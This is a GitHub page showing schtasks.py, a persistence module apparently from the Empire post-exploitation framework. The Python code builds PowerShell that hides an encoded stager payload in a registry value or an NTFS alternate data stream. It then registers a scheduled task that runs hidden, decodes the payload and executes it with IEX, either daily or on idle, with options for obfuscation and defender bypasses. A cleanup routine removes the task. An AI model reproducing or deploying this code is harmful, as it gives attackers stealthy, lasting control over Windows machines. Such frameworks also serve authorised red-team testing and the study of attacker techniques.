forked from EmpireProject/Empire
-
-
Notifications
You must be signed in to change notification settings - Fork 579
/
schtasks.py
198 lines (168 loc) · 7.17 KB
/
schtasks.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
import os
from empire.server.common import helpers
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
# trigger options
daily_time = params["DailyTime"]
idle_time = params["IdleTime"]
task_name = params["TaskName"]
# storage options
reg_path = params["RegPath"]
ads_path = params["ADSPath"]
# management options
ext_file = params["ExtFile"]
cleanup = params["Cleanup"]
# staging options
listener_name = params["Listener"]
user_agent = params["UserAgent"]
proxy = params["Proxy"]
proxy_creds = params["ProxyCreds"]
launcher_obfuscate = params["Obfuscate"].lower() == "true"
launcher_obfuscate_command = params["ObfuscateCommand"]
status_msg = ""
location_string = ""
# for cleanup, remove any script from the specified storage location
# and remove the specified trigger
if cleanup.lower() == "true":
if ads_path != "":
# remove the ADS storage location
if ".txt" not in ads_path:
return handle_error_message(
"[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"
)
script = (
'Invoke-Command -ScriptBlock {cmd /C "echo x > ' + ads_path + '"};'
)
else:
# remove the script stored in the registry at the specified reg path
path = "\\".join(reg_path.split("\\")[0:-1])
name = reg_path.split("\\")[-1]
script = "$RegPath = '" + reg_path + "';"
script += "$parts = $RegPath.split('\\');"
script += (
"$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
)
script += "$name = $parts[-1];"
script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;"
script += "schtasks /Delete /F /TN " + task_name + ";"
script += "'Schtasks persistence removed.'"
script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
obfuscation_command=obfuscation_command,
)
return script
if ext_file != "":
# read in an external file as the payload and build a
# base64 encoded version as encScript
if os.path.exists(ext_file):
with open(ext_file) as f:
file_data = f.read()
# unicode-base64 encode the script for -enc launching
enc_script = helpers.enc_powershell(file_data)
status_msg += "using external file " + ext_file
else:
return handle_error_message("[!] File does not exist: " + ext_file)
else:
# if an external file isn't specified, use a listener
if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message("[!] Invalid listener: " + listener_name)
else:
# generate the PowerShell one-liner with all of the proper options set
launcher = main_menu.stagers.generate_launcher(
listenerName=listener_name,
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
bypasses=params["Bypasses"],
)
enc_script = launcher.split(" ")[-1]
status_msg += "using listener " + listener_name
if ads_path != "":
# store the script in the specified alternate data stream location
if ".txt" not in ads_path:
return handle_error_message(
"[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"
)
script = (
'Invoke-Command -ScriptBlock {cmd /C "echo '
+ enc_script
+ " > "
+ ads_path
+ '"};'
)
location_string = "$(cmd /c ''''more < " + ads_path + "'''''')"
else:
# otherwise store the script into the specified registry location
path = "\\".join(reg_path.split("\\")[0:-1])
name = reg_path.split("\\")[-1]
status_msg += " stored in " + reg_path
script = "$RegPath = '" + reg_path + "';"
script += "$parts = $RegPath.split('\\');"
script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
script += "$name = $parts[-1];"
script += (
"$null=Set-ItemProperty -Force -Path $path -Name $name -Value "
+ enc_script
+ ";"
)
# note where the script is stored
location_string = "(gp " + path + " " + name + ")." + name
# built the command that will be triggered by the schtask
trigger_cmd = (
"'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -c \\\"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String("
+ location_string
+ ")))\\\"'"
)
# sanity check to make sure we haven't exceeded the cmd.exe command length max
if len(trigger_cmd) > 259:
return handle_error_message(
"[!] Warning: trigger command exceeds the maximum of 259 characters."
)
if idle_time != "":
script += (
"schtasks /Create /F /SC ONIDLE /I "
+ idle_time
+ " /TN "
+ task_name
+ " /TR "
+ trigger_cmd
+ ";"
)
status_msg += " with " + task_name + " idle trigger on " + idle_time + "."
else:
# otherwise assume we're doing a daily trigger
script += (
"schtasks /Create /F /SC DAILY /ST "
+ daily_time
+ " /TN "
+ task_name
+ " /TR "
+ trigger_cmd
+ ";"
)
status_msg += " with " + task_name + " daily trigger at " + daily_time + "."
script += "'Schtasks persistence established " + status_msg + "'"
script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
obfuscation_command=obfuscation_command,
)
return script